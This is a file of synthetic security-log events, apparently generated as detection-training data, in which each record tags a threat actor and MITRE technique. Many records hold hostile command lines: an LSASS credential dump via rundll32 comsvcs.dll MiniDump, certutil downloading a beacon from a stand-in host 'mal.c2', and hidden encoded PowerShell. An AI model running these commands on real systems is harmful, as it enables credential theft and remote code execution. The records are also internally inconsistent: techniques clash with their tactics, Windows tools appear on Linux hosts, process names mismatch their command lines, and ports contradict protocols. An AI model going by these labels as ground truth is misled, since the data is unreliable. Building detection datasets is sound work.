{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Execution","Command and Control"],"technique_id":"T1071.001"},"event_id":"evt_apt29_20261221T095903000Z_0005095","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.8.44.182","name":"WIN-FIN-SRV-UA1TA8L7N4","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5095APT29T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.49.48.98","dst_port":445,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 789 C:\\temp\\lsass.dmp full","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-10-10T18:00:43.000Z","user":{"name":"CORP\\taieap8xawel","sid":"S-1-5-21-269879747-136147301-9087"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Initial Access","Discovery"],"technique_id":"T1021.006"},"event_id":"evt_apt41_20260526T050842000Z_0005097","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["TLS","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.73.216.12","name":"AZURE-VM-TXPY1LQEHJ","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5097APT41T1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.89.0.150","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1265 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-01-20T19:45:03.000Z","user":{"name":"svc_oa4gtthghjik","sid":"S-1-5-21-751516854-840481838-4049"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Command and Control"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20260812T073325000Z_0005099","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.3.218.108","name":"EC2-INST-9L9YNX5SGG","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5099UNC4841T1484.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.151.203.181","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Windows Security Log","timestamp":"2026-08-15T14:11:02.000Z","user":{"name":"CORP\\el1ntz3iben6","sid":"S-1-5-21-512101394-379337526-4088"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Reconnaissance"],"technique_id":"T1059.001"},"event_id":"evt_scatteredspider_20251002T205751000Z_0005101","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.97.108.154","name":"WIN-FIN-SRV-U6OAHLK1VH","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5101Scattered SpiderT1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.34.161.59","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"bitsadmin.exe","parent_name":"svchost.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-07-18T19:26:41.000Z","user":{"name":"azuread\\sxrf45xj24d6","sid":"S-1-5-21-848140832-294789600-7915"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1059.001 using fileless technique.","sub_technique":"PowerShell","tactic":["Discovery","Command and Control","Credential Access"],"technique_id":"T1059.001"},"event_id":"evt_volttyphoon_20250926T164641000Z_0005103","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.105.229.230","name":"DB-ORACLE-4QN2F0TFLM","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5103Volt TyphoonT1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.130.247.166","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"powershell.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-07-15T00:02:58.000Z","user":{"name":"arn:aws:iam::xtn9gfsh5tkp","sid":"S-1-5-21-403585721-564135176-1805"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1021.006 using encrypted C2 technique.","sub_technique":"Windows Remote Management","tactic":["Impact","Collection","Credential Access"],"technique_id":"T1021.006"},"event_id":"evt_fin7_20261025T104548000Z_0005105","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.134.181.146","name":"APP-WEB-2TRWF2W1FL","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5105FIN7T1021.006"},"network":{"domain":"github.com","dst_ip":"1.145.150.31","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-08-18T01:48:54.000Z","user":{"name":"CORP\\viy2n1x5vqpm","sid":"S-1-5-21-702130932-287776315-8328"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Discovery","Privilege Escalation"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20260807T054101000Z_0005107","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.92.248.149","name":"EC2-INST-PAGFMQ17TG","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5107APT41T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.16.49.121","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-09-25T07:31:06.000Z","user":{"name":"azuread\\533782du5nn3","sid":"S-1-5-21-170171515-141451349-3382"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Execution","Privilege Escalation"],"technique_id":"T1071.001"},"event_id":"evt_fin7_20260407T095430000Z_0005109","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.122.161.32","name":"EC2-INST-ZCHBG10AGS","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5109FIN7T1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.139.30.230","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-12-17T04:40:11.000Z","user":{"name":"azuread\\wt0iw24ut629","sid":"S-1-5-21-206648913-712551901-1157"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Credential Access","Defense Evasion","Collection"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20250106T080957000Z_0005111","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.71.73.44","name":"DB-ORACLE-PA3ZOOIT36","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5111Scattered SpiderT1484.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.101.120.215","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 893 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-07-30T16:43:19.000Z","user":{"name":"arn:aws:iam::jxh9v37wlr5s","sid":"S-1-5-21-390057762-299169303-7916"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Command and Control","Lateral Movement"],"technique_id":"T1098.004"},"event_id":"evt_scatteredspider_20260122T055519000Z_0005113","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.13.214.212","name":"AZURE-VM-LAN3H7HI5X","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5113Scattered SpiderT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.77.31.196","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-07-12T14:59:38.000Z","user":{"name":"azuread\\cdw3wkb528zn","sid":"S-1-5-21-395406041-144910353-4845"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_mustangpanda_20250518T181713000Z_0005115","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["TLS","WMI","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.231.33.189","name":"WIN-FIN-SRV-WMZFO0SWO5","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5115Mustang PandaT1484.001"},"network":{"domain":"github.com","dst_ip":"1.114.240.58","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3623 C:\\temp\\lsass.dmp full","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-11-23T01:32:00.000Z","user":{"name":"azuread\\28jjljfkuq1s","sid":"S-1-5-21-548687783-224982571-9119"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Privilege Escalation"],"technique_id":"T1566.001"},"event_id":"evt_volttyphoon_20260117T081431000Z_0005117","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["Base64","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.12.214.49","name":"IAM-ROLE-LGQ19QRG00","os":"Windows Server 2022"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5117Volt TyphoonT1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.166.2.95","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1367 C:\\temp\\lsass.dmp full","name":"rundll32.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-04-18T19:00:58.000Z","user":{"name":"arn:aws:iam::ftysd30xdmhe","sid":"S-1-5-21-687897259-594638503-4616"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Defense Evasion","Command and Control"],"technique_id":"T1546.003"},"event_id":"evt_scatteredspider_20250303T223948000Z_0005119","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.193.194.128","name":"EC2-INST-6394KYW8WA","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5119Scattered SpiderT1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.60.64.114","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-07-24T15:04:51.000Z","user":{"name":"svc_y84vd2p8j3lo","sid":"S-1-5-21-702181795-290700569-1874"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1003.001 using fileless technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Initial Access"],"technique_id":"T1003.001"},"event_id":"evt_apt29_20261204T224845000Z_0005121","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.151.154.138","name":"DB-ORACLE-0WEW1STYLF","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5121APT29T1003.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.101.160.229","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-09-05T10:23:04.000Z","user":{"name":"CORP\\15i992tnz8va","sid":"S-1-5-21-879731843-215708566-8957"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1098.004 using fileless technique.","sub_technique":"SSH Authorized Keys","tactic":["Discovery","Execution"],"technique_id":"T1098.004"},"event_id":"evt_apt29_20261111T013311000Z_0005123","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.246.218.168","name":"APP-WEB-D72D6FAE4G","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5123APT29T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.141.147.137","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-02-05T22:42:33.000Z","user":{"name":"azuread\\vib1q12d5f85","sid":"S-1-5-21-740375962-256490048-1705"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1531 using LOLBin technique.","sub_technique":"Cloud Service Hijack / Account Access Removal","tactic":["Discovery"],"technique_id":"T1531"},"event_id":"evt_unc4841_20250602T204126000Z_0005125","ground_truth":{"detection_guidance":"Sigma rule for T1531 | Join on src_ip within 10m","evasion_used":["TLS","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.101.47.3","name":"IAM-ROLE-W1IX00VA6K","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5125UNC4841T1531"},"network":{"domain":"github.com","dst_ip":"1.74.250.66","dst_port":443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-02-22T02:42:07.000Z","user":{"name":"CORP\\wwlscoz0ofj8","sid":"S-1-5-21-188889843-712451926-5197"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1003.001 using encrypted C2 technique.","sub_technique":"OS Credential Dumping: LSASS Memory","tactic":["Impact"],"technique_id":"T1003.001"},"event_id":"evt_fin7_20250626T151423000Z_0005127","ground_truth":{"detection_guidance":"Sigma rule for T1003.001 | Join on src_ip within 10m","evasion_used":["Base64","WMI","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.167.59.17","name":"WIN-FIN-SRV-GWETA9EOQH","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5127FIN7T1003.001"},"network":{"domain":"github.com","dst_ip":"1.122.153.222","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-04-28T22:29:26.000Z","user":{"name":"i-60lkh5qzuk1o","sid":"S-1-5-21-895686724-708625042-6328"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Privilege Escalation","Initial Access"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20250531T181421000Z_0005129","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.162.229.6","name":"DB-ORACLE-1B6NNNBOCX","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5129Lapsus$T1546.003"},"network":{"domain":"github.com","dst_ip":"1.163.81.65","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-06-15T22:02:07.000Z","user":{"name":"i-v3j9sjhds0hp","sid":"S-1-5-21-541388189-165228755-7326"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Reconnaissance","Persistence","Collection"],"technique_id":"T1098.004"},"event_id":"evt_lapsus_20251215T043820000Z_0005131","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.245.100.181","name":"AZURE-VM-TQ9WUIIOVG","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5131Lapsus$T1098.004"},"network":{"domain":"aws.amazon.com","dst_ip":"1.38.146.103","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-29T07:22:29.000Z","user":{"name":"i-w0c196r0xaiq","sid":"S-1-5-21-491377313-498064997-5488"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1021.006 using cloud-native technique.","sub_technique":"Windows Remote Management","tactic":["Collection"],"technique_id":"T1021.006"},"event_id":"evt_lapsus_20260129T204239000Z_0005133","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.218.28.19","name":"APP-WEB-TJNRTSRWOT","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5133Lapsus$T1021.006"},"network":{"domain":"aws.amazon.com","dst_ip":"1.171.67.144","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2026-06-15T20:24:43.000Z","user":{"name":"azuread\\1l96jznaje3m","sid":"S-1-5-21-146637686-303604996-8852"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1071.001 using LOLBin technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance","Discovery","Privilege Escalation"],"technique_id":"T1071.001"},"event_id":"evt_fin7_20261202T022604000Z_0005135","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["WMI","JA3 Spoof","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.250.30.22","name":"WIN-FIN-SRV-Y63W3OHEII","os":"Amazon Linux 2"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5135FIN7T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.171.222.105","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-04-13T16:36:42.000Z","user":{"name":"azuread\\q0hdaw9unrck","sid":"S-1-5-21-568938967-615507698-9849"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1566.001 using cloud-native technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Impact"],"technique_id":"T1566.001"},"event_id":"evt_mustangpanda_20260927T045844000Z_0005137","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["WMI","LOLBin","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.239.211.250","name":"EC2-INST-9MM25C320C","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5137Mustang PandaT1566.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.23.221.191","dst_port":3389,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 712 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"winlogon.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-10-11T04:34:20.000Z","user":{"name":"azuread\\32e5ui39az09","sid":"S-1-5-21-318034175-656102104-2926"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Defense Evasion","Discovery"],"technique_id":"T1546.003"},"event_id":"evt_lapsus_20250729T220606000Z_0005139","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["LOLBin","JA3 Spoof","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.201.231.111","name":"EC2-INST-V7OQO2C7VN","os":"Ubuntu 22.04"},"impact":{"business_risk":"Domain dominance","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5139Lapsus$T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.20.202.140","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-05-03T16:30:59.000Z","user":{"name":"i-66j5qca01yx4","sid":"S-1-5-21-777498214-297191099-9415"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Privilege Escalation","Reconnaissance"],"technique_id":"T1546.003"},"event_id":"evt_apt29_20261005T011550000Z_0005141","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.198.20.95","name":"WIN-FIN-SRV-8UT4A6Z24L","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"5141APT29T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.153.98.143","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Windows Security 